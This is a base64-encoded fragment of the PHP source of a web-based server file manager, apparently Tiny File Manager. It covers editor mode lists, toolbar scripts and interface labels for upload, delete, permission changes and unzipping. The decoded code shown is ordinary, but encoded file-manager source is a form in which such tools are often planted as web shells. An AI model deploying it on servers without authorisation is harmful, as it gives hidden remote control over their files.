wibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ